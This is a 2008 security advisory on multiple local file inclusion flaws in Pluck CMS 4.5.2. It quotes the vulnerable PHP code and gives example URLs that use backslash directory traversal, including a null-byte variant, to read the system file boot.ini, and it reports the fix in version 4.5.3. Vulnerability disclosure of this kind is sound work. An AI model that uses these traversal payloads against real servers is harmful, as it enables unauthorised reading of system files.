Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-037


Application:                    Pluck CMS
Versions Affected:              4.5.2
Vendor URL:                     http://www.pluck-cms.org/
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       28.07.2008
Vendor Response:                03.08.2008
Solution:                       YES
Date of Public Advisory:        25.08.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Pluck CMS has Multiple Local File Include vulnerabilities. 



Details
*******

1. Local File Include vulnerabilities found in script data/inc/themes/predefined_variables.php

Vulnerable GET parameters "blogpost", "cat" and "file".

First discovered by AmnPardaz Security Research Team [http://www.bugreport.ir/index_48.htm].
Vendor fixed vulnerability in version 4.5.2 by blocking directly access to this file [http://www.pluck-cms.org/releasenotes.php#4.5.2]. 
However, attacker still can exploit this vulnerability from index.php file.

Code [line 15-46]
-----------------
#################################################

//Make sure the file isn't accessed directly
if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("login.php", $_SERVER['SCRIPT_FILENAME']))){
    //Give out an "access denied" error
    echo "access denied";
    //Block all other code
    exit();
}

//Include Translation data
include ("data/settings/langpref.php");
include ("data/inc/lang/$langpref");
//Get Site-title
$sitetitle = file_get_contents("data/settings/title.dat");

//Get the page-data
$filetoread = $_GET['file'];
$album = $_GET['album'];
$blogpost = $_GET['blogpost'];
$cat = $_GET['cat'];

if (($filetoread) && (file_exists("data/content/$filetoread"))) {
include "data/content/$filetoread"; }

elseif ($album) {
$title = $album; }

elseif (($blogpost) && (file_exists("data/blog/$cat/posts/$blogpost"))) {
include("data/blog/$cat/posts/$blogpost"); }

elseif ((!file_exists("data/content/$filetoread")) && (!$album) && (!$blogpost)) {
$title = $lang_front1;
$content = $lang_front2; }

#################################################

Pluck CMS has security module that checks for hacking attempts and blocks them.

Code
----
#################################################

//Remote File Inclusion
//Check for strange characters in $_GET keys
//All keys with "/" or ":" are blocked, so it becomes virtually impossible to inject other pages or websites
  foreach ($_GET as $get_key => $get_value) {
    if ((ereg("/", $get_value)) || (ereg(":", $get_value))) {
    eval("unset(\${$get_key});");
    die("A hacking attempt has been detected. For security reasons, we're blocking any code execution."); }
  }

#################################################

This vulnerability can be exploited only on systems that accept backslash as a path separator.

Example:

http://[server]/[installdir]/index.php?file=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00


2. Local File Include vulnerabilities found in script data/inc/blog_include_react.php

Vulnerable GET parameters "blogpost" and "cat".

Code [line 15-30]
-----------------
#################################################

//Make sure the file isn't accessed directly
if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("login.php", $_SERVER['SCRIPT_FILENAME']))){
    //Give out an "access denied" error
    echo "access denied";
    //Block all other code
    exit();
}

//Predefined variable
$blogpost = $_GET['blogpost'];
$cat = $_GET['cat'];
$pageback = $_GET['pageback'];
list($reactiondir, $extension) = explode(".", $blogpost);

//Include the blogpost
include("data/blog/$cat/posts/$blogpost");

#################################################

Attacker can exploit vulnerability from index.php file.

This vulnerability can be exploited only on systems that accept backslash as a path separator.

Example:

http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00



Solution
********

Vendor fix this flaw on 22.08.2008. New version of Pluck CMS 4.5.3 can be download here:

http://www.pluck-cms.org/download.php

Release notes:

http://www.pluck-cms.org/releasenotes.php#4.5.3



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)